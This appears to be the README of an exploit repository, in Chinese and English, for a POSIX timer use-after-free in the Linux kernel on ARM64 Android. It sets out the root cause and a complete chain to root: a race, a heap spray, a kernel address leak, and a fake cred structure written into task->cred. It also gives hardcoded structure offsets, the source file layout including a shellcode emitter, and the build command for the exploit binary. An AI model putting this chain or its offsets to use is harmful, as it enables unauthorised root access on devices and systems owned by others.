ARM64 Android proof-of-concept for CVE-2026-98260, a POSIX timer UAF in the kernel Timer subsystem, with a full race, heap spray, and root escalation chain.
Infinity Core 系列 Timer 子系统漏洞的 ARM64 实现,目标内核形态为 7.0 系(Ubuntu 26.04 7.0.0-30-generic 同源代码结构)。本仓库实现完整的触发与提权链,关键偏移已按该目标版本结构布局写死,可直接对照目标 vmlinux 修正符号地址。
非 leader 线程调用 exec() 时 de_thread() 交换 TID 并 release_task(leader),POSIX timer 清理被放在多个可失败操作之后。exec 失败后,已释放的 k_itimer 的 timerqueue 节点仍留在存活任务的 timerqueue 中,后续清理再次解引用该节点造成 UAF。
利用链:oracle 线程池打竞态 → AIO ring 堆喷回收 UAF 对象 → elist 泄露 task 地址 → 受控页构造 fake timer + fake cred → timerqueue 摘除双写把 fake cred 写进 task->cred → setresuid(0) 拿 root shell。
k_itimer.it.cpu.elist 0xe0
k_itimer.it.cpu.handling 0xf0
k_itimer.it_interval 0x68
k_itimer 大小 0x180
task_struct.cpu_timers 头 0xca0
task_struct.cred 0xd00
cred.uid/gid/euid/... 4/8/14/18/24/28/34/38
cred.cap_inh/prm/eff 0x30/0x40/0x50
cred.security 0x80
cred.user_ns 0x90
cred 大小 0xb8
需要按目标机修正的:符号地址(本机 KASLR 泄露会自校准,无需硬编码)。
timer_lpe.c 主程序
ic_timer_target.h 结构布局(已写死)
ic_compat.h syscall 封装、AArch64 汇编原语
ic_util.h 通用工具
ic_shellcode_arm64.c AArch64 shellcode 生成器
ic_target.h 其他偏移
export ANDROID_NDK_HOME=/path/to/ndk
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android29-clang \
-O2 -std=gnu11 -static -fno-stack-protector -fno-pic -no-pie \
-I. timer_lpe.c ic_shellcode_arm64.c -o ic98260 \
-Wl,--gc-sections -Wl,-z,norelro -pthread
An ARM64 implementation of the Infinity Core Timer subsystem vulnerability, targeting the 7.0-series kernel shape (same code structure as Ubuntu 26.04 7.0.0-30-generic). Complete trigger and escalation chain. Key offsets are hardcoded to that target structure layout; only symbol addresses need to be matched against the target vmlinux.
When a non-leader thread calls exec(), de_thread() exchanges TIDs and calls release_task(leader); POSIX timer cleanup sits behind several fallible operations. After a failed exec, the freed k_itimer's timerqueue node stays in a live task's timerqueue, and later cleanup dereferences it again.
Chain: oracle thread pool races → AIO ring spray reclaims the UAF object → elist leaks the task address → fake timer and fake cred crafted in a controlled page → timerqueue unlink double-writes the fake cred into task->cred → setresuid(0) gives a root shell.
k_itimer.it.cpu.elist 0xe0
k_itimer.it.cpu.handling 0xf0
k_itimer.it_interval 0x68
sizeof(k_itimer) 0x180
task_struct.cpu_timers head 0xca0
task_struct.cred 0xd00
cred.uid/gid/euid/... 4/8/14/18/24/28/34/38
cred.cap_inh/prm/eff 0x30/0x40/0x50
cred.security 0x80
cred.user_ns 0x90
sizeof(cred) 0xb8
Only symbol addresses need per-target adjustment; the in-kernel KASLR leak self-calibrates.
timer_lpe.c main program
ic_timer_target.h structure layout (hardcoded)
ic_compat.h syscall wrappers, AArch64 asm primitives
ic_util.h shared helpers
ic_shellcode_arm64.c AArch64 shellcode emitter
ic_target.h other offsets
export ANDROID_NDK_HOME=/path/to/ndk
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android29-clang \
-O2 -std=gnu11 -static -fno-stack-protector -fno-pic -no-pie \
-I. timer_lpe.c ic_shellcode_arm64.c -o ic98260 \
-Wl,--gc-sections -Wl,-z,norelro -pthread